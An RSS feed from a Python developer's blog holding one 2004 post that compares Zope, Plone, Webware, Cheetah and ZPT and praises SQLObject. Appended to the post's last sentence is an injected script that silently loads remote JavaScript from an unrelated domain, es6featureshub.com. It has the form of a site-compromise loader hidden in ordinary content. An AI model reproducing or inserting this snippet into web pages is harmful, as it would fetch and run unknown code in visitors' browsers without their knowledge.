<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; cheetah</title>
	<atom:link href="http://www.larsen-b.com/tags/cheetah/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>SQLObject and ZPT</title>
		<link>http://www.larsen-b.com/Article/83.html</link>
		<comments>http://www.larsen-b.com/Article/83.html#comments</comments>
		<pubDate>Tue, 13 Jan 2004 21:09:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[cheetah]]></category>
		<category><![CDATA[sqlobject]]></category>
		<category><![CDATA[Webware]]></category>
		<category><![CDATA[Zope]]></category>
		<category><![CDATA[zpt]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[After looking at several way to build custom webapps in python, i tested several things : Zope alone Zope + CMF Plone Webware + Cheetah or PSP Webware + Modeling + ZPT .. And my conclusions right now is: SQLObject &#8230; <a href="http://www.larsen-b.com/Article/83.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>After looking at several way to build custom webapps in python, i tested several things :</p>
<ul class="simple">
<li>Zope alone</li>
<li>Zope + CMF</li>
<li>Plone</li>
<li>Webware + Cheetah or PSP</li>
<li>Webware + Modeling + ZPT ..</li>
</ul>
<p>And my conclusions right now is: SQLObject is really a kool SQL Api since you can use it very easily. For the template i really think that ZPT is the best one. Despite XML parsing is really slow, and ZPT performance isn&#8217;t really good, you can edit the template without too much pain.</p>
<p>Another great thing, is that i can use this tools in Webware (of course) but in a simple python (mod_python for example)  CGI. And SQLObject really feat nicely w/ webware, because it&#8217;s thread safe. (I discover severals troubles in Modeling w/ thread)</p>
<p>The next step is to find a good way to build &#8216;slots&#8217;, to have a cross site layout. ZPTPage doesn&#8217;t support all METAL tags (macros..) so this isn&#8217;t done by default .. and calling a lot of &#8216;structure&#8217; include is a bad way because this will call the &#8216;slot&#8217;  rendering too much times.</p>
<p>The main key is : Keep it simple.<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/83.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
